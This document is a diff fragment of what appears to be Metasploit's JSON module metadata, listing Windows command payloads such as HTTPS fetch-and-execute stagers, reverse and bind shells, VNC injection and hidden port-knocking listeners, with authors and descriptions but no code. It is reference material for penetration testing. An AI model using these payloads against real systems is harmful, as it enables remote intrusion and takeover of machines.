"fullname": "payload/cmd/windows/https/x64/powershell_reverse_tcp_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Ben Turner", + "Dave Hardy", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server", + "references": [ + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/powershell_reverse_tcp_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/shell/bind_ipv6_tcp": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/shell/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/shell/bind_ipv6_tcp_uuid": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/https/x64/shell/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/shell/bind_named_pipe": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/https/x64/shell/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/shell/bind_tcp": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/shell/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/shell/bind_tcp_rc4": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/shell/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/shell/bind_tcp_uuid": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/shell/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/shell/reverse_tcp": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/https/x64/shell/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/shell/reverse_tcp_rc4": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/shell/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/shell/reverse_tcp_uuid": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/shell/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/shell_bind_tcp": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/windows/https/x64/shell_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection and spawn a command shell (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/shell_reverse_tcp": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/windows/https/x64/shell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and spawn a command shell (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/vncinject/bind_ipv6_tcp": { + "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/vncinject/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/vncinject/bind_ipv6_tcp_uuid": { + "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/https/x64/vncinject/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/vncinject/bind_named_pipe": { + "name": "HTTPS Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/https/x64/vncinject/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a pipe connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/vncinject/bind_tcp": { + "name": "HTTPS Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/vncinject/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/vncinject/bind_tcp_rc4": { + "name": "HTTPS Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/vncinject/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/vncinject/bind_tcp_uuid": { + "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/vncinject/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/vncinject/reverse_http": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/vncinject/reverse_https": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "agix", + "rwincey" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/vncinject/reverse_tcp": { + "name": "HTTPS Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/vncinject/reverse_tcp_rc4": { + "name": "HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/vncinject/reverse_tcp_uuid": { + "name": "HTTPS Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/vncinject/reverse_winhttp": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/vncinject/reverse_winhttps": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_winhttps", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/reverse_winhttps", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/jjs_reverse_tcp": { + "name": "Windows Shell, Reverse TCP (via jjs)", + "fullname": "payload/cmd/windows/jjs_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "conerpirate", + "bcoles " + ], + "description": "Connect back and create a command shell via jjs", + "references": [ + "URL-https://gtfobins.github.io/gtfobins/jjs/", + "URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/", + "URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/jjs_reverse_tcp.rb", + "is_install_path": true, + "ref_name": "cmd/windows/jjs_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/adduser": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/adduser", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "hdm ", + "Chris John Riley", + "vlad902 ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/adduser", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/bind_hidden_ipknock_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Hidden Bind Ipknock TCP Stager", + "fullname": "payload/cmd/windows/powershell/custom/bind_hidden_ipknock_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_hidden_ipknock_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/bind_hidden_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Hidden Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/custom/bind_hidden_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_hidden_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/bind_ipv6_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/custom/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "OJ Reeves" + ], + 